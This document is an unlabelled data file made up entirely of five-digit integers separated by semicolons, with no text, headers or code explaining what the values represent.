56117;66434;16461;23021;23029;16041;52061;21439;50162;33367;57703;46818;27126;45659;21566;49517;54813;10351;33116;12547;50606;65928;56314;23991;33204;31789;65736;49053;62845;51422;59131;26882;20378;47825;52228;45730;33096;54317;43314;42371;34834;34455;61635;51648;34474;48242;52520;58254;36177;61812;34438;66317;18511;23856;18576;45317;37599;12564;12816;53402;22806;59263;34297;34313;24476;59307;62893;49716;42427;19400;62483;56246;36233;25288;31806;66143;48423;30120;59242;65620;64237;44093;57519;42566;46123;38991;38799;26613;21080;50522;42565;47339;58997;23039;23425;55871;28785;13679;29830;41881;20332;46095;42636;58447;54008;25661;18725;50682;43221;49080;58907;51712;48799;46754;34693;14898;10309;31815;41622;28843;50627;32456;29773;28403;18020;21741;22681;46710;46233;53941;33228;53648;61519;66637;34269;42366;21690;57963;45854;25480;52373;65954;55703;15273;25883;38056;10918;25228;30277;18356;58585;35456;64239;61503;56740;56039;37892;11169;61418;49378;30036;42702;29650;27247;13662;11940;39404;64765;37808;54982;31011;46549;19157;40204;63090;58141;48673;38743;16039;43644;48395;23964;59775;51259;35124;54424;52325;19244;33965;19402;50809;39903;60161;31281;27112;33557;23694;16757;54951;52210;51835;14412;49062;64197;56867;63362;31501;65856;56003;12895;64362;56832;47289;48240;50539;61409;59423;58911;32539;10202;44732;24410;49912;33153;13060;24116;13339;60902;64327;65522;31685;23099;58180;61918;44193;50457;25066;49915;60196;17558;59099;13396;22383;39490;55867;63537;53235;45254;16174;33739;16089;13854;65414;63284;33600;39929;13848;45802;61065;21395;21663;56042;13390;36019;34487;35451;14398;20552;31116;53497;35296;18296;62347;43860;54398;61125;49800;52935;11942;32226;41226;28609;32557;49546;33727;54501;61745;59200;39654;53308;24231;26621;13076;11354;30628;36134;22765;45062;22501;17017;56257;12028;52515;20283;25057;24227;14307;19275;43685;54965;61644;17473;39906;55149;43959;22099;23756;37151;18611;65398;34169;36453;25019;25177;11167;23531;14575;40866;24365;49946;41303;57846;22253;64982;22199;39029;22432;55362;34432;62193;50812;14017;16708;11837;55539;53798;59260;63783;64202;65579;66316;66821;58780;41371;25989;20775;55487;42725;17607;52561;18375;40850;48919;16526;64785;62383;36142;43595;42384;53305;52799;28973;54148;65886;53247;60933;26354;47215;27296;20424;31184;50028;37526;21115;31119;32661;16547;52200;65448;52834;48495;56273;39806;57452;40426;31261;44811;15221;53086;36221;27621;21945;42002;59011;44697;28156;49161;43319;56959;57398;33092;49206;11281;45226;42128;26096;19086;53772;64430;39659;19366;43592;28818;31607;58990;44478;59046;12890;53009;58654;37767;14540;23016;53332;33438;58839;19172;63944;54855;28149;39177;35266;48145;39895;12347;23783;48289;23984;27882;56617;14789;24260;41816;32897;25837;31680;66318;10343;53856;40460;64395;37820;48353;11560;38217;38431;18516;49118;55667;22150;43194;63228;10187;61652;17394;59609;27529;56950;36011;57090;30297;27694;58440;48980;47684;13823;55209;43863;20742;19854;46030;11522;58205;65260;18969;32153;50599;10612;41249;65158;58146;60788;49899;21182;16672;13030;18861;58142;47343;14167;49650;30354;57873;10831;54667;36728;33919;20200;43499;64087;29582;64207;62245;11482;30382;44492;42849;42328;59233;51319;61932;25254;38468;28163;35894;65943;43922;53546;32865;65073;11061;35411;17200;33360;25890;47726;15022;46161;47582;37412;57256;31195;43238;21495;64534;23406;31551;44702;46673;64323;56894;48925;53461;64067;44520;43465;21047;23917;14251;18931;39376;65797;55606;65372;59725;62377;40446;22741;28826;12927;21730;65113;45069;13122;16178;45149;43630;38022;59057;29909;25247;55223;11983;57705;14431;47010;34065;13804;29511;24542;17390;45140;31383;65734;44913;48710;54671;50629;35994;40119;20118;57521;57199;51150;12117;28917;28062;22926;65137;60160;63425;59619;52453;52710;30540;18043;35801;62568;40227;45794;66251;28697;54732;28932;62710;64399;13140;64854;57043;39926;29706;36230;48961;10928;15956;12368;44089;65225;20483;27866;49435;37294;46432;31887;46991;55585;34895;52804;53138;34729;49985;63578;27663;41405;13415;26804;44361;23046;16582;31715;25462;19828;21672;56342;42975;17598;40498;66062;57966;19851;26604;26662;44397;46270;16823;53342;19452;33369;14458;23515;14448;59313;27546;42783;64341;39515;65363;18566;39173;55831;45154;10777;14050;38904;31763;62304;19185;20784;49031;41528;54303;28498;63300;18024;37784;56083;60087;55454;30568;39870;47442;25792;34342;41939;63065;11842;51073;26748;45869;38759;28389;32804;55132;34799;47483;15188;14729;34245;49008;52496;51465;16426;26572;48430;64885;66642;57950;30293;25957;46988;50609;18917;51277;42988;26663;13648;35561;64786;41955;11660;59494;30309;35237;42289;49240;51637;28704;15198;32370;10797;15027;48816;24091;65545;51007;60980;27687;62659;60346;19836;11433;31197;20009;64740;27589;52042;42578;30961;40321;20512;42350;19472;52078;42333;38733;15658;13421;34236;11990;59190;47344;57222;26672;58279;30078;33651;52265;19631;30321;22389;66193;39276;23375;17425;21847;30490;41132;65694;13660;56599;61586;13476;42507;61819;20728;20388;21970;48413;10674;58677;21067;64985;50430;34590;28397;58916;54432;40261;17454;57837;25327;53022;46725;35844;42909;16952;34952;50615;20253;29434;35471;31489;63593;18752;15655;57861;45401;11875;30486;40221;30447;60355;62295;18190;47045;63308;18642;11003;45418;47745;25655;55265;11142;59830;58290;27945;11196;64995;64888;26183;46656;39181;11712;56022;20898;43504;27459;27015;46414;37132;23614;55850;24165;38933;40509;41551;29869;66154;60601;60844;51702;18316;45179;60750;17698;53339;63311;51340;37465;16157;43693;40046;11674;60943;42627;39992;32755;36963;62447;43330;65941;41135;62830;19204;40792;54962;41820;24880;26041;62788;55106;42045;56700;34976;41326;30671;12997;53859;34030;18247;46645;56720;65101;28553;13416;23648;20909;56484;29244;45263;40005;59314;48780;50361;32459;52028;64499;54992;55624;10686;16114;21640;11744;32003;35551;31131;54464;43118;45845;66072;19294;64818;27542;10074;63912;16337;26681;12258;44587;28137;54647;39777;57065;28449;57397;31333;32920;44311;25784;63186;61946;57195;41786;33565;14769;32801;36057;21997;63524;56143;20277;49693;53087;56118;40919;58397;25961;28631;54156;42611;53125;21558;14149;36817;61801;31786;63246;11811;25240;26517;38992;26042;56983;22405;51258;55513;62962;66187;45079;53740;28338;31096;52164;31420;47017;37632;44184;27373;10641;39759;38761;12039;58628;29772;37378;42081;29660;32595;64375;34891;45453;15039;51421;59719;19238;45432;64887;25567;44819;27001;60445;63881;63329;54211;23533;65011;43943;33427;15406;56669;65427;32707;45693;25928;33905;62243;18206;48675;59271;62367;35812;32662;61454;10257;41924;40480;27407;51756;58326;20534;15203;43837;35822;45689;55895;27504;21988;65981;63892;34275;66745;27292;10480;45663;51957;39735;16225;42721;36954;57438;25439;36583;15947;62839;59512;42757;34685;11787;15522;52209;51912;29010;22409;58905;58699;28993;55435;39687;36180;63359;34996;55453;15880;62798;32473;44598;51013;38856;14140;51664;17753;26698;10870;11581;30311;40815;66530;44546;13177;31391;17992;23140;61799;25713;30266;22397;22682;14947;29011;53677;60273;27832;36255;58415;46315;37588;57753;18517;41530;57247;61992;16473;26259;49098;40041;52126;39260;39933;42830;56056;41005;61877;59966;59407;34532;55818;49910;45960;41099;38289;63607;11266;49745;31947;10327;19625;18387;32856;16891;33660;26633;46474;11556;63041;14473;31730;39187;44239;47337;16727;34596;62402;52395;44594;35984;24726;54938;44051;65792;12999;51981;61516;34113;16341;44159;24947;21015;45686;20752;47367;26388;59327;26614;58846;41034;38810;51636;36007;38769;43957;47649;23148;14525;32769;55051;48997;54682;50714;57569;34252;50168;30053;50519;40236;19519;39387;18394;24439;44889;36086;37883;53890;62136;22894;27640;54357;57253;29724;62822;22851;65999;23989;66381;38727;11557;18118;48391;62327;42294;17628;49463;56354;47299;34558;13426;34901;13973;21119;34573;29472;49792;48749;15460;43682;50477;63431;60945;51705;15713;66459;13623;49924;39950;32844;29107;39079;36139;32759;31827;16647;57796;50425;25322;46194;32725;33770;13110;61555;20694;58857;30929;64183;20849;29626;37667;11067;23615;32944;39058;40923;23849;65696;58345;63149;62744;54194;54881;21352;59207;58426;50646;38263;34517;22342;12853;23837;65080;66293;44144;44491;64281;65535;61904;60164;43141;18259;59231;44612;42993;10600;55107;39412;24300;26405;66522;60118;29623;22634;27103;52997;14100;42232;18624;64172;58004;44259;64874;10910;48581;30197;56829;44280;39292;57017;44512;40905;43807;15040;29111;37194;53340;58637;28812;60968;36718;19805;61737;62675;42976;23253;33072;61156;24781;12929;40877;38044;61480;65203;38629;14347;39647;11283;11574;23577;44797;58396;21621;19339;63771;50653;26994;49082;53695;22156;40829;61426;49355;35885;48158;38060;57988;31874;34672;64145;26241;27080;21346;33283;16318;65059;35173;41516;30109;24659;39118;26896;37085;49430;31368;52148;47230;61278;42552;38078;64038;38422;17757;28669;28307;64709;15303;62741;45585;58023;43119;15372;40315;66863;16268;29678;39370;24028;41130;31582;58740;41893;28509;19827;47037;26774;30758;22878;22887;40605;12104;17668;20673;58659;45740;43871;63924;12981;47734;14874;62131;65102;40973;60230;16749;20355;30979;24978;59630;44870;53682;27369;25707;12935;35045;26336;63898;14241;25651;31889;15042;16768;56537;39860;46866;16914;42392;14146;46380;23202;30009;60085;36149;14524;29348;13991;58330;30017;34520;37469;24955;56440;54144;43213;29102;39708;28734;59248;10858;40447;54733;29002;54569;65931;65133;27213;19379;14561;21707;32126;17033;28543;47068;31660;32644;41821;46136;64028;57847;45457;17973;66010;42279;32609;48474;27394;43866;57798;39114;50260;18724;53420;31598;50452;13725;64702;45580;58048;50938;28099;35094;53531;26300;55738;18567;10479;27717;62851;23294;40340;55853;51459;60040;45712;44077;50883;29420;31215;49041;55224;38122;56323;15274;36956;14105;64003;57057;34489;40577;11689;37532;45676;56683;61931;33913;31785;35929;55496;57558;26045;47465;55881;24921;50536;55278;48147;27772;24250;30346;34483;28349;13470;25842;39236;20065;33851;12579;40412;59577;63483;50954;64862;28435;40998;26603;56623;55801;61636;59592;30574;63369;61243;39577;29045;18320;25460;55377;61030;17075;43749;36677;62628;14057;50720;14651;35768;57173;18942;25601;24503;41128;44677;48995;45598;56379;16846;51148;59194;40580;43165;47593;14725;47489;37518;30757;58965;16038;33736;34272;46128;26927;32145;33924;31623;11379;18061;45431;13552;61827;15557;47079;33135;38185;50382;20000;20185;29395;61443;49570;49191;25891;31088;43748;46215;57165;16076;11691;24374;61316;49801;18100;31039;30884;62260;35828;10904;27478;39155;54367;40228;30804;61337;43907;17560;21615;22605;38935;48964;29510;31346;65923;28958;47274;14815;38790;12888;56538;15991;47082;26601;48871;18324;39910;63928;35486;54777;40290;13209;15826;16559;54668;66567;30416;11568;13203;51456;54107;52279;60036;59028;16838;57511;64216;36807;36335;23518;60102;49893;16021;15514;55719;46564;27220;13488;13766;60958;32659;52005;11017;62351;51037;65110;65680;52407;60782;13150;29858;15643;11453;29758;36763;15488;31038;13757;62692;57627;38795;36298;44202;54466;51795;16877;13599;47129;52895;11863;36249;44244;19398;53657;60079;52579;66052;18808;16785;38874;42653;13796;26631;52985;43287;51794;26911;46457;54985;16630;23678;36186;51436;41304;65187;29490;52138;12068;40102;56081;24556;59324;11880;41504;20901;40575;42514;17306;57559;22892;35789;17418;62808;10190;50263;56095;53224;49070;25201;55041;52462;65828;39241;61386;53038;58810;40499;25441;45171;48569;60595;10669;30782;50988;62004;39740;52827;43251;27949;14890;29127;63658;65643;18575;54885;30468;33267;37639;43795;63468;60632;42753;13783;56872;36081;47834;31628;56362;26398;26921;46085;44592;32362;34025;38465;42679;59466;37649;35358;58704;64567;64845;32384;31075;46310;53157;56483;56856;53433;59517;20287;39507;19877;36691;13524;58380;25478;50440;46179;28287;59333;29734;28955;59855;16132;45908;46734;32298;48307;44021;16478;35301;38948;15786;18130;16968;34735;60424;65237;20572;45312;33339;53351;20867;27178;30391;11073;39920;47227;50257;10310;51250;65484;62039;34345;17752;37585;31301;49479;45491;17478;36075;10931;26304;53621;46668;18155;35120;54578;65706;19741;61473;31159;57481;32792;11768;22832;22229;12635;14864;23210;25309;61663;57925;60523;33525;12697;48334;41245;18593;42929;36700;40583;58945;60754;57660;59550;28071;20501;10136;46517;34390;65730;12106;19324;39595;20913;21971;66288;65549;39427;50297;58139;40780;36536;11852;66599;63405;62440;61466;55445;50313;28470;13587;64802;52763;63653;47755;17019;36122;46301;39112;54924;46830;15199;64304;31615;63896;12307;59981;26626;26851;26936;32925;43995;53801;16889;25224;21812;61668;49258;36474;22003;35074;59576;30815;38323;63481;51468;12267;35193;55873;11263;15579;17771;18750;64793;54481;59617;32770;22476;35204;35387;18759;65217;42868;17977;37098;31126;20514;22510;63109;57688;21655;62404;33453;33901;57495;66117;40726;44332;24504;13231;30224;63627;52197;29385;25307;64881;49497;63385;47566;63318;15256;61542;23428;61267;49377;44476;56147;15973;21508;38977;23988;16269;18893;57000;63811;30882;13598;48585;24894;53879;66507;14077;13454;35103;18253;26192;34136;54560;62952;21227;66305;28455;50242;59054;32103;14806;19953;25973;52541;37174;13019;38362;31080;29635;13398;40842;12474;11879;50089;22080;38433;66083;17537;36631;40356;32652;32426;58337;55897;66817;43824;65976;37327;48924;47514;55148;63621;48192;43737;46512;25153;16561;57012;66382;24696;65409;46807;18461;43533;15570;22045;63678;39395;45343;57005;34665;35783;16499;54185;35128;60655;11306;51031;19948;40632;31394;33431;31103;48615;12802;12400;39844;40556;15842;64801;49469;28295;54714;22812;28888;54163;49579;10174;37255;66895;55714;11870;28909;27447;12716;56508;66583;11240;25506;18830;56207;12271;58433;35291;43515;22471;23333;42409;35344;54333;59518;45353;10075;21149;25332;25448;37971;22388;37054;41690;40892;15158;56962;48494;25782;62843;40192;16862;29034;66457;25694;40679;29403;60476;65659;61620;29722;65024;13097;12990;61689;15598;41994;18315;49239;61295;65369;41910;16978;58081;28753;63713;52711;29705;19061;15318;20084;19130;56801;16991;14737;29389;18856;53606;56250;47686;22173;25843;41101;33680;16925;63058;59549;41234;48720;33210;28703;59986;56934;33234;30511;61250;51611;63312;45856;47329;58759;39998;33361;27952;44216;27177;25356;17591;61347;62943;60089;46672;62994;40549;40051;24755;19327;29669;27915;28060;18508;30025;18028;18913;13665;36565;23378;26790;32743;48883;23239;25092;53210;11932;45556;22729;20193;16974;47899;26508;15939;20350;35407;57342;58956;29446;40795;41845;26717;14814;20874;22490;17779;35226;42481;55459;23683;39909;16843;13359;32281;50435;49525;27693;48896;30771;55506;10866;14500;30876;36740;47596;17827;28892;17574;30512;38423;37762;50493;54445;25709;37498;37064;41266;16422;66508;28859;10286;27430;38228;26372;47642;66389;13591;66480;40475;28915;46803;59018;66718;38909;42118;43616;14734;48434;16353;13684;26119;20801;64541;32297;49782;22922;45082;13225;24730;59552;25118;46201;32941;42755;38960;23495;51603;36991;26483;54848;40021;41747;34334;23977;37947;40798;58161;21453;54081;31965;51370;39200;35290;20855;54350;34090;26948;49958;36637;15369;25379;45445;62170;52424;15062;45956;43244;60627;39090;53099;51851;63053;18464;52490;17378;15895;11145;34759;40439;65235;38702;22583;41144;44473;14472;21161;66854;50577;18908;58283;24094;61323;60133;64733;15616;17460;28493;16811;45840;64759;15662;23644;59472;17319;29093;29308;64515;11040;47192;25533;52570;35071;60963;53882;22459;32660;64328;29188;63223;42432;46388;40007;16503;51531;43276;64742;66258;42767;49969;42451;15507;23000;51145;20313;35615;19418;47127;58631;25170;31748;16448;38102;42265;24637;15184;41000;14577;52933;23163;44115;26417;59897;34321;32509;55971;29489;64864;51806;18529;63083;45141;18766;17045;61034;22842;54053;30237;34039;10611;39650;32500;61408;24944;66185;64070;14578;41822;39474;20219;44701;38126;13849;33142;14133;25086;48761;13244;47077;34446;23354;55623;40546;49034;24841;38002;45874;21490;39086;28968;54954;30186;16867;26341;10576;28971;18222;59673;62450;21433;14879;38434;32257;57050;23049;31110;31499;54386;12617;33103;51437;65809;59602;25720;42942;29577;32709;21851;65171;15386;55955;43778;26920;14791;39827;57136;59565;46624;51647;20870;26149;61458;44230;34449;12200;61355;40214;47432;14388;14358;51368;52217;40121;19695;57180;63005;19532;15788;65424;10606;10691;22566;42319;30646;65812;27662;36592;22673;18466;54161;13748;18585;38707;19054;37694;17581;53455;20860;63676;45897;64344;61398;63738;55192;38463;30487;21044;20868;21552;39937;30359;44064;17497;32716;43855;61615;36291;64325;14072;18141;18410;45210;40274;15990;64873;13557;10064;57181;46975;53428;61084;33094;49145;42285;10463;39972;12483;45827;24323;31835;50755;18581;24369;42802;19315;14955;17719;44199;35855;32367;44779;45829;64803;44384;38611;15258;63815;39878;31781;43858;33258;26551;19048;39594;65817;30228;42719;61750;54699;37026;57016;53416;40587;24667;46464;53975;59042;65929;28110;10977;51408;63577;35647;26725;59467;20631;45318;36130;23525;39678;40730;30594;64166;38079;24562;14961;14870;15432;51537;62684;53790;49675;36520;63840;23043;52321;47423;50741;13949;48604;19006;50408;27496;42470;46726;19732;22376;21019;28368;48837;14869;53500;65808;61588;43001;58760;18051;62150;26330;65695;11596;28596;65189;44372;60776;59342;50034;30068;25329;40161;51670;47196;28885;31833;46151;39630;26924;51815;32552;26176;21194;38739;22596;40287;47641;14496;23410;57794;14775;10758;31030;12704;66547;65313;63154;38572;28369;29984;65870;48375;59809;16903;57999;35554;26234;41407;13038;33238;45272;32888;54313;55212;59295;13035;18672;34018;41476;61971;17626;62074;22609;13473;43711;11512;49188;40677;39761;25396;65750;64745;18870;25675;18270;41734;45465;27859;40078;32756;32215;49019;18676;43645;27497;15581;10998;60555;60826;12926;14602;31322;37522;42774;12582;60128;23583;16860;66852;13450;15412;19857;58102;21117;60308;35473;41041;47171;27619;46382;12513;58946;12344;36494;19572;19212;32997;64713;35479;22341;21525;21278;34746;31546;19733;21978;59116;10409;30606;57781;38514;30722;12950;42935;33876;11310;63386;46097;60347;19413;35535;24016;24632;50437;25529;40855;24950;59605;33380;63376;27119;24903;19075;64416;15625;54216;64753;43247;38116;59202;35545;29809;19735;24033;62364;49936;45320;28511;47110;40238;55804;46147;19399;15186;43337;50855;46544;51107;15176;55237;63917;19526;56807;52327;60500;56692;63373;18975;33558;14024;48304;55541;22544;20052;24727;33230;47567;34037;34235;57288;18636;34425;49262;29283;52038;48555;60502;58835;52063;49056;62903;21204;12044;54854;32970;45641;24925;42164;12830;51797;66620;35630;34214;41672;62376;48909;50611;21103;65458;34010;51346;52728;30427;10258;50732;13891;28238;45843;20465;51240;45951;54099;58848;57887;21526;40247;36096;54452;16395;17196;56211;36730;63402;60418;33980;27697;10300;55206;20692;31689;30244;28387;64678;24133;26869;37448;30579;65249;61988;34531;14766;65275;38392;63055;34637;31378;26248;32199;34960;60775;16441;59621;34477;57944;50157;65721;56949;34172;49315;66208;20223;22435;47027;20675;24371;62269;47346;41568;15394;35696;24350;52988;48740;20211;61150;12544;13279;23398;49114;10619;27661;52008;13012;57153;38380;19653;11675;62266;66683;50585;16986;22793;11975;45895;41173;41619;44094;20415;36568;49219;54536;61090;58422;40959;59711;10557;45889;48619;24859;22134;10502;62434;57693;57694;50887;20998;57102;49816;25384;40403;21279;48211;62728;47180;19513;32256;36874;26946;20164;35373;54353;18431;16192;25343;28870;64966;59541;65655;55737;30873;22822;17706;37844;15963;53698;55961;26503;14840;33765;35949;21872;61618;55367;61880;64502;64369;55338;23966;16884;22754;15639;47303;14682;27652;25808;22293;24172;18142;66654;26721;20590;40675;38407;37558;28581;56626;39652;19964;36878;29245;32214;44675;61603;50623;46507;53746;55566;50554;33359;17093;11966;30327;35321;43783;36909;19497;35068;53762;15339;65570;49531;29791;56520;26651;17206;61699;43762;31267;19999;14910;42180;32136;44188;24249;35430;66699;45571;50734;46772;29687;51039;62689;30337;61400;27909;58053;57261;42531;52796;11727;14393;14253;18646;26434;21450;48156;47531;52759;12798;26468;51605;49342;59337;18420;45814;43229;12501;26378;46399;54371;25706;51656;36680;26061;13508;17567;44511;32846;16130;43258;38604;62219;15719;10817;36629;51805;66845;18647;44295;22954;62195;41571;47774;35313;23642;10821;45386;27698;55607;40068;54327;29142;42394;11794;33428;20921;57597;11056;56791;63212;20407;14208;49055;45837;48756;30803;19371;13441;24312;17802;27727;58065;29220;56861;45275;40345;66161;11109;60976;66347;43675;27854;20298;41322;30522;37153;52435;31373;66302;49809;44297;35316;57047;46415;17568;66670;59328;41768;54892;57076;36440;17141;28699;63470;37889;54437;61018;37967;36107;62127;54100;64594;29868;14493;30051;63897;38825;54137;36491;63531;58157;27367;43875;65622;23902;22651;53067;11162;19149;65254;11291;56879;47780;66961;10569;11549;34809;33605;36064;38318;52872;45875;51440;35076;32231;18134;12479;24892;36526;57008;50917;33627;60999;59943;31487;14696;27457;17651;20374;52572;20893;25255;47731;18736;21976;10489;11277;52301;27421;40123;44572;14527;43981;13517;61518;16982;41495;35462;52734;30399;50244;30388;46547;30937;11800;10590;63693;63843;18578;66460;23766;29776;47779;32705;25598;57557;50800;19776;56999;65322;47157;48278;48526;12889;45415;63033;21461;44475;13103;31175;57049;28180;43781;54928;13959;11437;54611;38669;38858;60320;46072;30951;17005;47371;49478;36148;43613;57577;13017;48527;46890;16993;56702;55502;65160;33912;25930;55675;58718;65061;38479;31404;43962;49374;29679;41447;31358;66580;33494;13121;21738;65314;49492;34280;50121;30898;57248;66385;65473;32421;63583;19515;49518;10683;49243;39724;20302;45644;24038;24158;56374;30593;66748;15844;25130;54907;34060;19246;16141;37032;65300;28002;39538;32422;27805;61781;36918;66689;57034;17750;54988;16365;61899;32065;66103;55933;24693;60350;47420;17751;17392;32498;39115;20861;32051;40783;49476;22212;27200;60747;12762;24272;33831;37277;46112;21760;33293;64415;60091;43472;35960;29754;23774;14887;66223;65786;45993;39709;59938;14452;21087;11797;42948;20308;56478;56643;57725;17714;43683;65724;41314;14678;10415;50475;46155;51532;12832;55548;40704;11404;49820;19342;38774;62575;19243;50491;13020;18638;16716;46091;16621;15349;43283;25513;22414;52669;36885;52320;62297;40273;44589;16906;29634;20029;19749;34292;12706;41434;34825;12492;38665;15475;46342;20543;34355;60006;18002;21511;59306;50438;29330;30230;39505;33459;55886;51746;51106;55085;39897;18719;11047;54618;57717;34284;48238;53119;36600;35762;34163;12385;16959;15868;42158;20423;33824;17449;18977;34247;56811;19699;38959;53685;66093;37339;26200;64485;23421;57752;63411;58183;36422;19195;22791;60002;66789;63208;31922;45834;20160;27928;48681;14873;26868;41323;54895;21852;16407;16551;44284;57792;66075;49260;57617;49769;19927;36211;58028;38598;47185;31699;61255;24120;64002;35921;24818;59825;19510;65994;19095;41867;15114;56139;65930;48860;65778;63492;36478;29421;44577;39421;15888;41958;45988;18851;63650;20023;10156;47456;64622;36855;46065;24514;29424;46343;45434;29323;23672;25852;50908;17220;26512;41068;19417;27004;22232;27648;48150;47054;15063;47505;12420;56135;63178;65569;56033;42254;34756;59448;56271;34454;51822;11182;53948;31590;60003;15831;64773;19458;11614;52420;53355;24375;32898;63834;63703;64419;26470;28872;59551;33524;60456;58052;24630;35116;19674;46822;62152;25741;31776;19428;32200;63392;66697;33074;53353;33161;33152;28731;20880;28538;52841;11590;38018;55448;55855;41115;45020;17187;53431;63617;26620;16283;59192;36252;51288;28707;48365;38472;51544;63156;16409;37222;22352;21271;23778;44201;60100;50401;35323;60522;23442;61916;25313;18350;22393;37322;36665;18541;41087;50649;50230;39616;62045;49655;24672;55822;12280;17170;24889;59669;60646;65140;13799;53280;45691;66904;65907;12072;32345;24308;31176;66569;59735;27405;48323;17265;19176;54886;26648;14975;17720;16037;57087;31845;43477;33271;29595;15720;18671;31970;17167;56052;49065;39711;58095;15912;21324;14661;25116;10811;52376;24002;58877;25897;34223;33683;65199;11421;10410;39339;58189;22857;25998;44725;25101;51161;25115;40543;52589;27353;35773;56337;20467;57309;66796;48283;65504;17095;58158;20319;33528;58757;22007;15490;64893;63865;18741;27853;63450;38886;51568;58841;63014;38749;64859;52329;47416;31068;40761;22044;29704;38213;11194;15527;28188;14411;12343;13048;58110;49768;11808;11609;63770;44907;47106;13089;61817;42622;20256;16034;61133;50139;52037;46616;27820;48151;15837;41431;31396;33681;10915;35502;16644;38835;40388;36433;61015;13853;43248;39633;25122;65768;54914;16332;58453;14182;14808;22348;59970;59060;33412;52904;43277;62834;41031;40689;47787;47008;45217;30773;21682;42194;54417;47829;12007;26671;38899;58800;30304;34178;63064;29315;33399;21240;66351;38349;22720;30456;45303;58375;25124;24359;56155;44055;24792;42794;60729;37065;34001;55075;45823;45413;46448;55432;39815;29007;39561;58029;55430;60779;61329;34988;64890;46524;30049;65505;19310;20414;52286;10323;19372;59402;23589;30679;63726;13993;18510;21443;42882;39348;26845;11520;30059;63467;13175;34270;34047;27572;62895;64731;37570;59305;63067;33631;33439;54943;37094;35991;44604;60860;25922;26104;37954;26888;16942;57535;12947;25009;47627;25196;45439;52668;19256;18441;15396;28237;49923;43405;33618;56351;21604;27916;13951;59424;50543;39285;10769;20310;47406;64103;40949;51534;47625;65425;59399;36704;30056;27361;44246;16730;60704;32451;43225;41053;17405;24177;41728;26212;10453;26591;32129;35056;18914;46259;66792;36274;34108;36564;40642;18218;32642;31757;25468;22854;21468;62776;18897;40809;17113;45038;49814;57926;42466;55034;48674;13761;63824;53761;33251;27153;64465;23847;43814;21925;25445;19173;51773;34928;14336;53473;58795;44377;63310;32643;22128;47120;56680;20339;56047;60178;32105;45692;32710;14280;32193;42952;23107;27871;22200;46098;22735;56019;45987;61651;35480;16717;13933;55781;50159;38587;64163;34045;52878;10021;39030;43947;14627;46190;66937;33714;26773;60987;31314;49618;19925;31467;31460;38314;47637;65175;43335;23914;23220;49212;51304;14075;20333;53220;26408;10503;58120;49706;40702;33338;48503;32561;58561;20628;58206;66464;41141;54803;48788;49634;13313;18440;54642;43013;16223;15920;64086;53926;35268;11647;12966;60327;38342;13801;26521;25473;65990;21419;25213;31569;52655;23933;27151;34831;43508;41581;64750;55366;49470;24783;33309;50594;51371;59624;19451;49960;25704;27733;62380;10628;56236;28017;14344;29616;36678;37786;20847;56119;30780;39498;15644;34782;39429;48315;23228;52886;11181;12619;10545;43857;18536;49352;41030;32287;58368;18305;63342;24448;61532;64085;57156;52764;22129;31101;20973;51836;46359;54602;10072;30285;48510;52743;33424;11279;26289;52445;44081;27835;48759;43546;55133;64574;43076;33242;17529;19598;41028;11384;52124;64846;34896;35804;54825;56980;59286;12047;57672;55935;15999;15657;48415;55340;56498;26400;51533;13695;57422;18552;34484;58977;32990;26267;50637;21051;21814;36094;34405;65221;54630;53251;41638;26739;57911;64571;14302;52242;12394;50353;65635;37499;55012;55891;66790;46513;15496;23504;57699;44825;14403;66930;62262;51052;48938;12064;21246;35391;50427;63520;20074;37722;39194;43608;11726;49774;24423;28842;43242;28454;16363;38284;29166;57357;31533;59161;20903;28228;64797;46780;24328;31769;43502;66929;57078;53272;20081;66433;60458;24633;45158;15078;49970;41663;57276;26561;38778;28358;58284;47011;34406;60758;61679;58391;63904;16447;32169;46327;18645;45756;34237;34229;30128;49587;51306;41843;10914;19108;44221;29243;17322;62923;34088;66618;43389;14557;46135;49459;64007;32328;53094;41914;47067;35017;28226;35933;40801;32299;60068;51571;13378;65703;48789;66824;18412;65901;66781;18651;36952;12750;27324;32055;49921;34146;42418;30799;49466;48687;13363;46187;37678;24379;32104;16148;65682;57605;50394;60094;48678;24870;25865;56854;21337;20912;25635;24913;64556;14202;22845;54062;30401;53872;49449;29700;47387;60726;56513;11699;57441;29803;40503;46081;45357;37900;42673;48634;65746;11510;22722;56405;10855;43179;66771;21381;14093;24409;35262;40828;21570;17571;63757;40442;31692;51295;47293;25573;21141;15950;42184;55656;13705;50380;18787;13417;10663;29713;55261;15573;41596;58409;13871;37552;58353;27409;37939;12580;36587;19128;44992;22910;27603;42446;14154;55565;33328;66744;23622;44132;16688;24654;16924;63295;19124;26337;51122;29005;62768;14638;18848;48485;57785;53617;48676;28652;46578;21908;51058;14553;51991;44441;50276;18723;18523;18786;13070;26023;62300;61576;42163;39309;57484;45240;13143;41860;57505;58011;13057;20237;20326;29570;29035;31986;25498;16084;34784;39943;48509;57769;15721;44808;22495;64428;65718;17797;28716;64549;65358;53409;57433;49403;66663;49485;60229;61474;58524;12656;37635;30738;13827;18491;56390;50091;49455;56414;33079;27146;51024;44527;61209;63313;61110;44242;55493;41420;22164;55159;26801;23135;49204;66766;37471;12854;14002;25665;55073;13551;61672;34160;24759;66024;65376;48985;43523;13025;54003;27099;24960;34159;26098;53207;60167;48544;61276;22392;62946;13242;17147;56369;18200;50602;10396;50697;62142;28824;12048;43329;34602;20646;19411;64876;19727;52401;12812;64444;30331;30210;14244;39056;47581;56063;20904;16987;47644;11258;20684;52172;50913;21753;19746;18667;32393;48496;14446;50997;65665;48418;30795;53133;33047;48594;47810;63919;44092;42610;29871;15784;21638;22813;43189;13776;21815;43586;33563;55849;53789;49341;37184;22202;53291;28255;14584;62584;65312;57257;19252;60132;23172;42490;31542;46986;39894;14141;45549;55170;61421;52610;16124;11681;15360;23884;27488;46281;43999;57544;55032;36366;57555;53786;19069;35995;59172;45572;46841;41898;38527;26087;42672;11099;59810;31796;28372;46869;26796;41203;17150;40990;44588;38560;45680;14417;12328;36476;14747;23745;34981;57917;59276;25589;61413;40139;54596;25738;14170;45670;36993;16106;50805;26959;15087;31473;64417;60266;29862;58791;18768;58042;25263;46931;26646;63544;54109;46658;24742;51127;13671;28623;48388;45001;25078;34806;60761;20299;10306;24310;22950;24586;61826;46308;43404;18844;40562;45760;39502;52760;47866;61388;20564;23086;28122;34461;45891;41188;29066;54874;27365;49003;46283;37811;57330;66472;31611;44304;23669;36719;60849;18561;29701;65517;37583;41900;32172;55279;14074;20144;23100;22980;42751;63031;53020;42607;37104;53495;27984;16046;52466;42704;50423;41029;58067;42640;17061;52039;65268;26233;29618;49615;24099;31210;65231;25195;33479;34507;17048;51448;20315;52973;45904;48732;63557;32578;19554;28953;18033;29402;50075;54378;57879;41665;51599;63560;